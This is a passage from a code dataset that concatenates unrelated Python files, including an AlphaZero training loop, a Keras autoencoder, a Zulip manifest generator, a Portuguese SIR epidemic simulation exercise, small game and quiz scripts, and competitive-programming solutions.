self.args)\n\n self.nnet.train(trainExamples)\n nmcts = MCTS(self.game, self.nnet, self.args)\n\n\n print('PITTING AGAINST PREVIOUS VERSION')\n player1=Player(\"PREVIOUS\")\n player1.play = lambda board: np.argmax(pmcts.getActionProb(board, temperature=0))\n\n player2=Player(\"NEW\")\n player2.play = lambda board: np.argmax(nmcts.getActionProb(board, temperature=0))\n\n arena = Arena(player1, player2, self.game)\n pwins, nwins, draws = arena.play_games(self.arenaCompare)\n\n print(\"\")\n print(f'NEW/PREV WINS : {nwins} / {pwins} ; DRAWS : {draws}')\n print(\"\")\n\n if pwins + nwins > 0 and float(nwins) / (pwins + nwins) < self.updateThreshold:\n print('REJECTING NEW MODEL')\n self.nnet.load_checkpoint(folder=self.checkpoint, filename='temp.pth.tar')\n else:\n print('ACCEPTING NEW MODEL')\n self.nnet.save_checkpoint(folder=self.checkpoint, filename=self.getCheckpointFile(i))\n self.nnet.save_checkpoint(folder=self.checkpoint, filename='best.pth.tar')\n\n def getCheckpointFile(self, iteration):\n return 'checkpoint_' + str(iteration) + '.pth.tar'\n\n def saveTrainExamples(self, iteration):\n print(\"Saving training examples from iteration \"+str(iteration))\n folder = self.checkpoint\n if not os.path.exists(folder):\n os.makedirs(folder)\n filename = os.path.join(folder, self.getCheckpointFile(iteration) + \".examples\")\n with open(filename, \"wb+\") as f:\n Pickler(f).dump(self.trainExamplesHistory)\n f.closed\n\n def loadTrainExamples(self):\n modelFile = os.path.join(self.load_folder_file[0], self.load_folder_file[1])\n examplesFile = modelFile + \".examples\"\n if not os.path.isfile(examplesFile):\n print(examplesFile)\n r = input(\"File with trainExamples not found. Continue? [y|n]\")\n if r != \"y\":\n sys.exit()\n else:\n print(\"File with trainExamples found. Read it.\")\n with open(examplesFile, \"rb\") as f:\n self.trainExamplesHistory = Unpickler(f).load()\n f.closed\n # examples based on the model were already collected (loaded)\n self.skipFirstSelfPlay = True\n","sub_path":"alpha_zero/Coach.py","file_name":"Coach.py","file_ext":"py","file_size_in_byte":8493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"611072647","text":"from keras.layers import Input, Convolution2D, MaxPooling2D, UpSampling2D\nfrom keras.models import Model\n# from keras.callbacks import TensorBoard\n# from keras.metrics import mean_squared_error\n# from keras import backend as K\n# import numpy as np\n# import matplotlib.pyplot as plt\n\n# https://blog.keras.io/building-autoencoders-in-keras.html\n# https://elix-tech.github.io/ja/2016/07/17/autoencoder.html\n\nimport datasets\n\ndatasets = datasets.DataSets()\nx_train, x_test = datasets.load_data()\n\n# input_img = Input(shape=(3, 32, 32)) # theano\ninput_img = Input(shape=(32, 32, 3)) # tensorflow\n\nx = Convolution2D(32, 3, 3, activation='relu', border_mode='same')(input_img)\nx = MaxPooling2D((2, 2), border_mode='same')(x)\nx = Convolution2D(32, 3, 3, activation='relu', border_mode='same')(x)\nencoded = MaxPooling2D((2, 2), border_mode='same')(x)\n\nx = Convolution2D(32, 3, 3, activation='relu', border_mode='same')(encoded)\nx = UpSampling2D((2, 2))(x)\nx = Convolution2D(32, 3, 3, activation='relu', border_mode='same')(x)\nx = UpSampling2D((2, 2))(x)\ndecoded = Convolution2D(3, 3, 3, activation='sigmoid', border_mode='same')(x)\n\nautoencoder = Model(input_img, decoded)\n\n# print(autoencoder.layers)\n# print(autoencoder.layers[-1].output_shape)\n\nautoencoder.compile(optimizer='adadelta', loss='binary_crossentropy')\n\nautoencoder.fit(x_train, x_train,\n nb_epoch=50,\n batch_size=256,\n shuffle=True,\n validation_data=(x_test, x_test))\n\n# If you want to use TensorBoard\n# autoencoder.fit(x_train, x_train,\n# nb_epoch=50,\n# batch_size=256,\n# shuffle=True,\n# validation_data=(x_test, x_test),\n# callbacks=[TensorBoard(log_dir='/tmp/autoencoder')])\n\nautoencoder.save('autoencoder.cifar10.h5')\n\n\n### Display decoded images\n\n# decoded_imgs = autoencoder.predict(x_test) # (10000, 32, 32, 3)\n#\n# n = 10\n# plt.figure(figsize=(20, 4))\n# for i in range(n):\n# # display original\n# ax = plt.subplot(2, n, i + 1)\n# plt.imshow(x_test[i])\n# plt.gray()\n# ax.get_xaxis().set_visible(False)\n# ax.get_yaxis().set_visible(False)\n#\n# # display reconstruction\n# ax = plt.subplot(2, n, i + 1 + n)\n# plt.imshow(decoded_imgs[i])\n# plt.gray()\n# ax.get_xaxis().set_visible(False)\n# ax.get_yaxis().set_visible(False)\n#\n# loss = mean_squared_error(x_test[i], decoded_imgs[i])\n# print(i, 'loss=', K.eval(loss))\n#\n# plt.show()\n#\n\n### Display weights\n\n# n = 10\n# encoder = Model(input_img, encoded)\n# encoded_imgs = encoder.predict(x_test[:n]) # (10, 8, 8, 32)\n# encoded_imgs = encoded_imgs.reshape(n, 32, 8, 8) # tensorflow\n#\n# plt.figure(figsize=(20, 8))\n# for i in range(n):\n# for j in range(8):\n# ax = plt.subplot(8, n, j*n + i+1)\n# plt.imshow(encoded_imgs[i][j], interpolation='none')\n# plt.gray()\n# ax.get_xaxis().set_visible(False)\n# ax.get_yaxis().set_visible(False)\n# plt.show()\n","sub_path":"train/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"546164249","text":"#!/usr/bin/env python3\n\nimport argparse\nimport os\nimport glob\nimport distutils.cmd\nimport distutils.log\nif False:\n from typing import IO, Iterator\n\nCURRENT_DIR = os.path.abspath(os.path.dirname(__file__))\nBOTS_DIR = os.path.normpath(os.path.join(CURRENT_DIR, 'zulip_bots', 'bots'))\nMANIFEST_PATH = os.path.join(CURRENT_DIR, 'MANIFEST.in')\n\nclass GenerateManifest(distutils.cmd.Command):\n \"\"\"\n A custom setup.py command to generate a MANIFEST.in\n for the zulip_bots package.\n \"\"\"\n description = 'generate a MANIFEST.in for PyPA or for development'\n user_options = [\n ('release', None, 'generate a MANIFEST for a PyPA release'),\n ]\n\n def initialize_options(self):\n # type: () -> None\n self.release = False\n\n def finalize_options(self):\n # type: () -> None\n pass\n\n def run(self):\n # type: () -> None\n if self.release:\n generate_release_manifest()\n self.announce( # type: ignore # https://github.com/zulip/python-zulip-api/issues/142\n 'Generating a MANIFEST for a PyPA release of zulip_bots.',\n level=distutils.log.INFO # type: ignore # https://github.com/zulip/python-zulip-api/issues/142\n )\n else:\n generate_dev_manifest()\n self.announce( # type: ignore # https://github.com/zulip/python-zulip-api/issues/142\n 'Generating a MANIFEST for zulip_bots\\' development.',\n level=distutils.log.INFO # type: ignore # https://github.com/zulip/python-zulip-api/issues/142\n )\n\ndef get_test_fixtures():\n # type: () -> Iterator[str]\n glob_pattern = os.path.join(BOTS_DIR, '*', 'fixtures', '*.json')\n fixtures_paths = map(\n lambda fp: os.path.join(*fp.split(os.path.sep)[-5:]).replace(os.path.sep, '/'),\n glob.glob(glob_pattern)\n )\n return fixtures_paths\n\ndef get_logos():\n # type: () -> Iterator[str]\n glob_pattern = os.path.join(BOTS_DIR, '*', 'logo.*')\n logo_paths = map(\n lambda fp: os.path.join(*fp.split(os.path.sep)[-4:]).replace(os.path.sep, '/'),\n glob.glob(glob_pattern)\n )\n return logo_paths\n\ndef get_docs():\n # type: () -> Iterator[str]\n glob_pattern = os.path.join(BOTS_DIR, '*', 'doc.md')\n doc_paths = map(\n lambda fp: os.path.join(*fp.split(os.path.sep)[-4:]).replace(os.path.sep, '/'),\n glob.glob(glob_pattern)\n )\n return doc_paths\n\ndef get_assets():\n # type: () -> Iterator[str]\n glob_pattern = os.path.join(BOTS_DIR, '*', 'assets', '*')\n assets_files = map(\n lambda fp: os.path.join(*fp.split(os.path.sep)[-5:]).replace(os.path.sep, '/'),\n glob.glob(glob_pattern)\n )\n return assets_files\n\ndef generate_and_write(filepaths, file_obj):\n # type: (Iterator[str], IO[str]) -> None\n template = 'include {line}\\n'\n lines = map(lambda line: template.format(line=line), filepaths)\n\n file_obj.writelines(lines)\n file_obj.write('\\n')\n\ndef generate_dev_manifest():\n # type: () -> None\n with open(MANIFEST_PATH, 'w') as fp:\n generate_and_write(get_test_fixtures(), fp)\n generate_and_write(get_logos(), fp)\n generate_and_write(get_docs(), fp)\n generate_and_write(get_assets(), fp)\n\ndef generate_release_manifest():\n # type: () -> None\n with open(MANIFEST_PATH, 'w') as fp:\n generate_and_write(get_docs(), fp)\n generate_and_write(get_assets(), fp)\n\ndef parse_args():\n # type: () -> argparse.Namespace\n usage = \"\"\"\nTo generate a MANIFEST.in for a PyPA release, run:\n\n./generate_manifest.py --release\n\nTo generate a MANIFEST.in for development, run without arguments:\n\n./generate_manifest.py\n\"\"\"\n parser = argparse.ArgumentParser(usage=usage)\n\n parser.add_argument('--release', '-r',\n action='store_true',\n default=False,\n help='Generate MANIFEST.in for a PyPA release.')\n\n return parser.parse_args()\n\ndef main():\n # type: () -> None\n options = parse_args()\n if options.release:\n generate_release_manifest()\n else:\n generate_dev_manifest()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"zulip_bots/generate_manifest.py","file_name":"generate_manifest.py","file_ext":"py","file_size_in_byte":4178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"241971462","text":"# Component five, compares answer to input and adds a +1 win counter if you win round\n\n# Number checker functions\n\n\ndef num_check(question, low, high):\n valid = False\n while not valid:\n try:\n response = int(input(question))\n if low <= response <= high:\n valid = True\n return response\n else:\n print(\"You did not enter a number between {} and {}\".format(low, high))\n except ValueError:\n print(\"Invalid input\")\n# function that allows float numbers (decimal point)\n\n\ndef qst_statement(question):\n valid = False\n while not valid:\n try:\n response = float(input(question))\n return response\n except ValueError:\n print(\"Invalid input, try again\")\n\n\n# Start of loop\nkeep_going = \"\"\nwhile keep_going == \"\":\n\n # How many rounds user is going to play, range between 1 and 20\n # So user doesn't make a game too long\n # So doesn't break the game due to entering 0 or a negative number as the game will instantly end\n\n rounds = num_check(\"How many rounds? \", 1, 20)\n print()\n\n # Sets counters to 0\n round_counter = 0\n win_counter = 0\n\n # Waits for the number of rounds played reach number of rounds needed to play then stop the game\n while round_counter < rounds:\n\n # Adds a +1 round counter at the start of each round\n round_counter += 1\n\n # Prints the current round that the user is on\n print(\"Round ({})\\n\".format(round_counter))\n\n # Asks question\n answer = qst_statement(\"What's 4.11 + 3.83 = \")\n\n # Checks if the answer is correct to the preceding question\n if answer == 7.94:\n # Win statement\n win_counter += 1\n print(\"correct\\n\")\n else:\n # Lose statement\n print(\"Incorrect, the answer was 7.94\\n\")\n\n # Prints how many games won/lost\n print(\"WON: {} | LOST: {}\\n\".format(win_counter, round_counter - win_counter))\n # Loop of function\n keep_going = input(\"press <enter> to play again or any other key to stop\")\n","sub_path":"05_answer_checker.py","file_name":"05_answer_checker.py","file_ext":"py","file_size_in_byte":2132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"635286886","text":"\"\"\"\n AO PREENCHER ESSE CABEÇALHO COM O MEU NOME E O MEU NÚMERO USP,\n DECLARO QUE SOU O ÚNICO AUTOR E RESPONSÁVEL POR ESSE PROGRAMA.\n TODAS AS PARTES ORIGINAIS DESSE EXERCÍCIO PROGRAMA (EP) FORAM\n DESENVOLVIDAS E IMPLEMENTADAS POR MIM SEGUINDO AS INSTRUÇÕES\n DESSE EP E QUE PORTANTO NÃO CONSTITUEM DESONESTIDADE ACADÊMICA\n OU PLÁGIO.\n DECLARO TAMBÉM QUE SOU RESPONSÁVEL POR TODAS AS CÓPIAS\n DESSE PROGRAMA E QUE EU NÃO DISTRIBUI OU FACILITEI A\n SUA DISTRIBUIÇÃO. ESTOU CIENTE QUE OS CASOS DE PLÁGIO E\n DESONESTIDADE ACADÊMICA SERÃO TRATADOS SEGUNDO OS CRITÉRIOS\n DIVULGADOS NA PÁGINA DA DISCIPLINA.\n ENTENDO QUE EPS SEM ASSINATURA NÃO SERÃO CORRIGIDOS E,\n AINDA ASSIM, PODERÃO SER PUNIDOS POR DESONESTIDADE ACADÊMICA.\n\n Nome : Rafael Agra de Castro Motta\n NUSP : 11807192\n Turma: 07\n Prof.: Andre Fujita\n\n Referências: Com exceção das rotinas fornecidas no enunciado\n e em sala de aula, caso você tenha utilizado alguma refência,\n liste-as abaixo para que o seu programa não seja considerado\n plágio ou irregular.\n\n Exemplo:\n - O algoritmo Quicksort foi baseado em\n http://wiki.python.org.br/QuickSort\n\n -O algoritmo def maior foi baseado em\n https://colab.research.google.com/drive/1RzYofml0dFYHMO7JdIJ-M5BUGY5YYK92#scrollTo=1UNcvab7tneT\n\n\"\"\"\nimport math\n\ndef SIR (N, Beta, Gama, Tmax) :\n I = []\n R = []\n S = []\n S.append(N - 1)\n I.append(1)\n R.append(0)\n\n for t in range(Tmax-1):\n S.append(S[t] - Beta*(S[t]*I[t]/N))\n I.append(I[t] + Beta*(S[t]*I[t]/N) - (Gama*I[t]))\n R.append(R[t] + (Gama * I[t]))\n return S,I,R\n\ndef maior(L):\n maior = L[0]\n valor = 0\n while valor < len(L):\n if L[valor] > maior:\n maior = L[valor]\n valor += 1\n return maior\n\ndef Tetos(valor):\n if int(valor)==valor:\n teto = valor\n elif int(valor)!=valor:\n teto = int(valor)+1\n return teto\n\ndef critic_SIR (N, Gama, Tmax, Beta_MIN, Beta_MAX, Beta_delta):\n B = Beta_MIN\n c = 0\n Imax = []\n\n while B <= Beta_MAX:\n S,I,R = SIR(N,B,Gama,Tmax)\n B += Beta_delta\n\n #Calcula o qual valor da lista I e maior\n n = len(I)\n vmaximo = 0\n for i in range(1, n) :\n if I[i] > I[vmaximo] :\n vmaximo = i\n\n Imax.append(I[vmaximo])\n\n return Imax\n\ndef cria_matriz(m, n, valor):\n matriz = []\n linha = [valor]*n\n for i in range(m):\n matriz.append(linha[:])\n return matriz\n\ndef gera_grafico_simples(L):\n Y_MIN = 0\n X_MAX = len(L)-1\n X_MIN = 0\n #calcular o valor maximo de L e usar round para conseguir YMAX\n Y_Max = Tetos(maior(L))\n\n #tamanho da matriz\n m = Y_Max-Y_MIN+1\n n = len(L)\n nulo = 0\n matriz = cria_matriz(m,n,nulo)\n\n for k in range(len(L)):\n i = round(Y_Max - L[k])\n j = k\n matriz[i][j] = 255\n\n pgm = open(\"graf_simples.pgm\",\"w\")\n pgm.write(\"P2\\n\")\n pgm.write(str(n))\n pgm.write(\" \")\n pgm.write(str(m))\n pgm.write(\"\\n\")\n pgm.write(\"255\")\n pgm.write(\"\\n\")\n\n for linhaimprime in range(m):\n for colunaimprime in range(n):\n pgm.write(\" \")\n pgm.write(str(matriz[linhaimprime][colunaimprime]))\n pgm.write(\"\\n\")\n pgm.close()\n\n return matriz\n\n\ndef gera_grafico_composto(S, I, R):\n Y_MIN = 0\n X_MAX = len(S) - 1\n X_MIN = 0\n # calcular o valor maximo de L e usar round para conseguir YMAX\n Y_Max = Tetos(maior(S))\n\n # tamanho da matriz\n m = Y_Max - Y_MIN + 1\n n = len(S)\n novaMatriz = cria_matriz(m,3*n,0)\n\n for k in range(len(S)):\n js = 3*k\n jl = 3*k + 1\n jr = 3*k + 2\n i1 = round(Y_Max - S[k])\n i2 = round(Y_Max - I[k])\n i3 = round(Y_Max - R[k])\n\n novaMatriz[i1][js] = 255\n novaMatriz[i2][jl] = 255\n novaMatriz[i3][jr] = 255\n\n ppm = open(\"graf_composto.ppm\", \"w\")\n ppm.write(\"\\nP3\\n\")\n ppm.write(str(n))\n ppm.write(\" \")\n ppm.write(str(m))\n ppm.write(\"\\n\")\n ppm.write(\"255\")\n ppm.write(\"\\n\")\n novon = n*3\n\n for linhaimprime in range(m) :\n for colunaimprime in range(novon) :\n ppm.write(\" \")\n ppm.write(str(novaMatriz[linhaimprime][colunaimprime]))\n ppm.write(\"\\n\")\n ppm.close()\n\n return novaMatriz\n\n\n#texto = file.read().split(\",\")\ndef leitura_de_valores(nome_de_arquivo):\n texto = []\n with open(nome_de_arquivo,'r') as arquivo:\n for linha in arquivo:\n texto.append((linha.strip()))\n N = int(texto[0])\n Gama = float(texto[1])\n Tmax = int(texto[2])\n Beta_MIN = float(texto[3])\n Beta_MAX = float(texto[4])\n Beta_delta = float(texto[5])\n return N,Gama,Tmax,Beta_MIN,Beta_MAX,Beta_delta\n\n\n# Opções\n# 1: Calcular 'SIR' e imprimir os vetores S, I e R - leitura de teclado\n# 2: Calcular 'critic_SIR' e imprimir o vetor c_SIR - leitura de teclado\n# 3: Calcular 'critic_SIR' e imprimir o vetor c_SIR - leitura de arquivo\n# # 4: Calcular 'critic_SIR', testar matriz devolvida por 'gera_grafico_simples' - leitura de teclado\n# # 5: Calcular 'critic_SIR', testar arquivo PGM no disco por 'gera_grafico_simples' - leitura de teclado\n# 6: Calcular 'SIR', testar matriz devolvida por 'gera_grafico_composto' - leitura de teclado\n# 7: Calcular 'SIR', testar arquivo PPM no disco por 'gera_grafico_composto' - leitura de teclado\n\n#Não altere as funções abaixo:\ndef imprimeLista(L) :\n for i in range(len(L)):\n print(\"%.4f \" % L[i], end=\"\"); # usar apenas 4 digitos apos ponto\n print()\n\ndef main():\n Opt = int(input(\"Digite modo do programa: \"))\n if (Opt == 1): # saida - SIR; entrada - teclado\n N = int(input(\"Digite N: \"))\n Beta = float(input(\"Digite Beta: \"))\n Gama = float(input(\"Digite Gama: \"))\n Tmax = int(input(\"Digite Tmax: \"))\n S,I,R = SIR(N, Beta, Gama, Tmax)\n print(\"S = \", end=\"\")\n imprimeLista(S)\n print(\"I = \", end=\"\")\n imprimeLista(I)\n print(\"R = \", end=\"\")\n imprimeLista(R)\n elif (Opt == 2): # saida - critic_SIR; entrada - teclado\n N = int(input(\"Digite N: \"))\n Gama = float(input(\"Digite Gama: \"))\n Tmax = int(input(\"Digite Tmax: \"))\n Beta_MIN = float(input(\"Digite Beta_MIN: \"))\n Beta_MAX = float(input(\"Digite Beta_MAX: \"))\n Beta_delta = float(input(\"Digite Beta_delta: \"))\n c_SIR = critic_SIR(N, Gama, Tmax, Beta_MIN, Beta_MAX, Beta_delta)\n imprimeLista(c_SIR)\n elif (Opt == 3): # saida - critic_SIR; entrada - arquivo\n Dados = input(\"Digite nome do arquivo: \");\n N, Gama, Tmax, Beta_MIN, Beta_MAX, Beta_delta = leitura_de_valores(Dados)\n c_SIR = critic_SIR(N, Gama, Tmax, Beta_MIN, Beta_MAX, Beta_delta)\n imprimeLista(c_SIR)\n elif (Opt == 4): # grafico simples - critic_SIR; entrada - teclado\n N = int(input(\"Digite N: \"))\n Gama = float(input(\"Digite Gama: \"))\n Tmax = int(input(\"Digite Tmax: \"))\n Beta_MIN = float(input(\"Digite Beta_MIN: \"))\n Beta_MAX = float(input(\"Digite Beta_MAX: \"))\n Beta_delta = float(input(\"Digite Beta_delta: \"))\n c_SIR = critic_SIR(N, Gama, Tmax, Beta_MIN, Beta_MAX, Beta_delta)\n M_grafico = gera_grafico_simples(c_SIR)\n print(M_grafico)\n elif (Opt == 5): # PGM - grafico simples - critic_SIR; entrada - teclado\n N = int(input(\"Digite N: \"))\n Gama = float(input(\"Digite Gama: \"))\n Tmax = int(input(\"Digite Tmax: \"))\n Beta_MIN = float(input(\"Digite Beta_MIN: \"))\n Beta_MAX = float(input(\"Digite Beta_MAX: \"))\n Beta_delta = float(input(\"Digite Beta_delta: \"))\n c_SIR = critic_SIR(N, Gama, Tmax, Beta_MIN, Beta_MAX, Beta_delta)\n M_grafico = gera_grafico_simples(c_SIR)\n g = open(\"graf_simples.pgm\", \"r\")\n print(g.read())\n g.close()\n elif (Opt == 6): # grafico composto - SIR; entrada - teclado\n N = int(input(\"Digite N: \"))\n Beta = float(input(\"Digite Beta: \"))\n Gama = float(input(\"Digite Gama: \"))\n Tmax = int(input(\"Digite Tmax: \"))\n S,I,R = SIR(N, Beta, Gama, Tmax)\n M_grafico = gera_grafico_composto(S, I, R)\n print(M_grafico)\n elif (Opt == 7): # PPM - grafico composto - SIR; entrada - teclado\n N = int(input(\"Digite N: \"))\n Beta = float(input(\"Digite Beta: \"))\n Gama = float(input(\"Digite Gama: \"))\n Tmax = int(input(\"Digite Tmax: \"))\n S,I,R = SIR(N, Beta, Gama, Tmax)\n M_grafico = gera_grafico_composto(S, I, R)\n g = open(\"graf_composto.ppm\", \"r\")\n print(g.read())\n g.close()\n\nmain()\n","sub_path":"EP3.py","file_name":"EP3.py","file_ext":"py","file_size_in_byte":8603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"65444327","text":"from op_model.rhcp_shang_model.card import Card\nfrom op_model.rhcp_shang_model.utils import to_char, to_value\nfrom op_model.rhcp_shang_model.env import Env as CEnv\nfrom op_model.rhcp_shang_model.PokerMapping import numpytostr,rltorh,rhtorl\nclass RhcpShangAgent():\n ''' A random agent. Random agents is for running toy examples on the card games\n '''\n\n def __init__(self, action_num):\n ''' Initilize the random agent\n\n Args:\n action_num (int): the size of the ouput action space\n '''\n self.action_num = action_num\n self.num = 0\n\n\n\n def step(self,state, player_id):\n\n cardstr, one_last, two_last, three_last, legal_card = numpytostr(state)\n\n curreny_hand = rltorh(cardstr)\n one_last_hand = rltorh(one_last)\n two_last_hand = rltorh(two_last)\n three_last = rltorh(three_last)\n\n upcard = []\n\n if self.num ==0:\n if len(two_last_hand) == 0:\n upcard = three_last\n else:\n upcard = two_last_hand\n else:\n if len(one_last_hand) != 0:\n upcard = one_last_hand\n elif len(one_last_hand) == 0 and len(two_last_hand) != 0:\n upcard = two_last_hand\n\n putcard = to_char(CEnv.step_auto_static(Card.char2color(curreny_hand), to_value(upcard)))\n putcard = rhtorl(putcard)\n #print(\"player:\", player_id, \"手牌 is:\", cardstr, \"上一局:\", upcard,\"出牌:\",putcard)\n self.num = self.num + 1\n return putcard\n\n def eval_step(self, state, player_id):\n ''' Predict the action given the curent state for evaluation.\n Since the random agents are not trained. This function is equivalent to step function\n\n Args:\n state (numpy.array): an numpy array that represents the current state\n\n Returns:\n action (int): the action predicted (randomly chosen) by the random agent\n '''\n return self.step(state, player_id)\n\n def put_card(self,curreny_hand,last_card):\n intention = to_char(CEnv.step_auto_static(Card.char2color(curreny_hand), to_value(last_card)))\n return intention","sub_path":"source_code/op_model/rhcp_shang_agent.py","file_name":"rhcp_shang_agent.py","file_ext":"py","file_size_in_byte":2180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"585384773","text":"'''\nWrite an algorithm such that if an element in an MxN matrix is 0, it's entire\nrow and column are set to 0.\n'''\n\nCOL_DICT = {}\n\ndef nullify_column(matrix):\n for column in COL_DICT:\n for row in matrix:\n row[column] = 0\n\ndef set_sero(matrix):\n #set 0 in col\n for i in range(len(matrix)):\n for j in range(len(matrix[i])):\n if matrix[i][j] == 0:\n COL_DICT[j] = True\n #set 0 in row\n for i in range(len(matrix)):\n if 0 in matrix[i]:\n matrix[i] = [0 for index in range(len(matrix))]\n nullify_column(matrix)\n\ndef main():\n \"\"\"test\"\"\"\n matrix = [[1, 0, 3, 5],\n [2, 5, 6, 2],\n [9, 3, 0, 8],\n [3, 4, 5, 7],\n [0, 8, 3, 1]]\n print(matrix)\n set_sero(matrix)\n print(matrix)\n\nif __name__ == '__main__':\n main()\n","sub_path":"old/Cracking_coding_interview_Python/Ch1/q1_8.py","file_name":"q1_8.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"293280612","text":"# 2. CHEFWED\n\nfor _ in range(int(input())):\n n, k = map(int,input().split())\n arr = list(map(int,input().split()))\n dp = [0] * (n + 1) \n mp = {}\n dp[0] = 0\n for i in range(1, n + 1):\n mp.clear()\n count = 0\n dp[i] = dp[i-1] + k\n mp[arr[i-1]] = 1\n for j in range(i-1, 0, -1):\n if arr[j-1] not in mp:\n mp[arr[j-1]] = 1\n else:\n if mp[arr[j-1]] == 1:\n count += 1\n mp[arr[j-1]] += 1\n count += 1\n dp[i] = min(dp[i], dp[j-1] + k + count)\n print(dp[n])","sub_path":"CodeChef/Practice/CHEFWED.py","file_name":"CHEFWED.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"14831240","text":"# Copyright (c) Data Science Research Lab at California State University Los\n# Angeles (CSULA), and City of Los Angeles ITA\n# Distributed under the terms of the Apache 2.0 License\n# www.calstatela.edu/research/data-science\n# Designed and developed by:\n# Data Science Research Lab\n# California State University Los Angeles\n# Dr. Mohammad Pourhomayoun\n# Mohammad Vahedi\n# Haiyan Wang\n\nimport cv2\n\n\nclass Video:\n def __init__(self, filename):\n self.filename = filename\n camera = cv2.VideoCapture(self.filename)\n self.width = int(camera.get(3))\n self.height = int(camera.get(4))\n self.frame_count = int(camera.get(cv2.CAP_PROP_FRAME_COUNT))\n self.fps = camera.get(cv2.CAP_PROP_FPS)\n self.area_of_not_interest_mask = []\n # self.line_of_interest_mask = []\n # self.line_of_interest_points = []\n # self.line_of_interest_mask_resized = []\n self.line_of_interest_info = None\n\n\nclass OutputVideo:\n def __init__(self, video):\n self.original_video = video\n self.resolution = None\n self.has_AOI = False\n self.AOI_output_present = False\n self.opaque = 0\n","sub_path":"automated_walk_bike_counter/model/video/video.py","file_name":"video.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"563180911","text":"#entrada de dados\nconsumo = float(input(\"Informe o valor total do consumo: R$ \"))\nwhile consumo < 0: #validações\n print(\"Valor inválido!\")\n consumo = float(input(\"Informe novamente o valor total do consumo: R$ \"))\nif consumo == 0:\n print(\"Obrigado e até a próxima!\")\n exit()\n\npessoas = int(input(\"Informe o total de pessoas: \"))\nwhile pessoas < 0: #validações\n print(\"Valor inválido!\")\n pessoas = float(input(\"Informe novamente a quantidade total de pessoas: \"))\n\npercentual = int(input(\"Informe o percentual do serviço(0 a 100): \"))\nwhile percentual < 0 or percentual > 100: #validações\n print(\"Valor inválido!\")\n percentual = float(input(\"Informe novamente o percentual do serviço: \"))\n\npercentualResult = (consumo * percentual) / 100\n\n#definindo funções\ndef valor_total(consumo, percentualResult):\n totalConta = consumo + percentualResult\n return totalConta\n \ndef conta_dividida(totalConta, pessoas):\n contaDividida = totalConta / pessoas\n return contaDividida\n\ntotal = (valor_total(consumo, percentualResult))\ndividida = conta_dividida(valor_total(consumo, percentualResult), pessoas)\n\nvalorTotal = total\n#valorTotal = str(total) \n#valorTotal.replace('.', ',')\n#valorTotal = float(total)\n#print(valorTotal)\n#valorDividida = dividida\n#valorPercentual = percentualResult\n\n\n#saída de dados\nprint(\"De acordo com o valor informado, a taxa de serviço será de R$ {:.2f}.\" .format(percentualResult))\nprint(\"O valor total da conta com {} % da taxa de serviço será de R$ {:.2f}.\" .format(percentual, valorTotal))\nprint(\"A conta de R$ {:.2f}, dividido por {} pessoas, será de R$ {:.2f} para cada.\" .format(valorTotal, pessoas, dividida))\n\n","sub_path":"exercicio-taxa-de-servico.py","file_name":"exercicio-taxa-de-servico.py","file_ext":"py","file_size_in_byte":1692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"241872512","text":"from role import role\nfrom equipment import equipment\nfrom property import property\nfrom map import *\nfrom MapForest import *\n\nstr=input(\"请输入您的名字\")\nbrave=role(str,1,100,80,600)\n\nMyMap=BuildForestMap(brave)\n\nMyNode=MyMap.root\n\n\n#进入地图以后开始循环,通过节点里面的类型来判断事件类型从而触发时间\nwhile(MyNode.terminal==False and brave.shp>0):\n MyNode = MyNode.ToNextNode()\n if MyNode.type==0:\n PutOnEquipment(brave,MyNode.event)\n elif MyNode.type == 1:\n GetProperty(brave,MyNode.event)\n elif MyNode.type == 2:\n Fight(brave,MyNode.event)\n elif MyNode.type == 3:\n EnterMap()\n elif MyNode.type == 4:\n Trigger(brave,MyNode.event)\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"438674049","text":"def search(idx, start): # 28776 // 524ms\n global ans\n if idx == M:\n city_dist = 0\n for i in range(N):\n for j in range(N):\n if area[i][j] == 1:\n chick_dist = 100\n for ch in res: # 조합으로 계산한 경우의 수가 res에 담겨 있다\n r, c = ch # 여기서 하나씩 빼면서\n dist = abs(r - i) + abs(c - j) # 치킨거리 계산\n if chick_dist > dist: # 최소 치킨 거리 찾는 부분\n chick_dist = dist\n city_dist += chick_dist # 최소 치킨 거리를 찾아서 도시의 치킨거리에 더해준다.\n if city_dist >= ans: # 가지치기 부분 // 도시의 치킨거리를 계산하는데 이전에 구했던 최소 도시의 치킨거리보다 커지만 더이상 계산 x\n return\n if ans > city_dist: # 최소 도시의 치킨거리 비교 부분\n ans = city_dist\n else:\n for k in range(start, chick_cnt): # 조합을 구하는 부분 nCr에서 chick_cnt가 n부분이다.\n res.append(chicken[k])\n search(idx+1, k+1)\n res.pop()\n\n\nN, M = map(int, input().split())\narea = [list(map(int, input().split())) for _ in range(N)]\nchicken = [] # 치킨 집의 좌표를 담을 곳\nchick_cnt = 0 # 조합에서의 N값 (ex. N 개중에 M개를 뽑을 거임)\ncity_dist = 0 # 도시의 치킨 거리\nans = 987654321 # 최종 답\nres = []\n\n\nfor i in range(N):\n for j in range(N):\n if area[i][j] == 2:\n chicken.append((i, j)) # chick_cnt에서 M개 선택하는 조합을 구할거임\n chick_cnt += 1\n\nsearch(0, 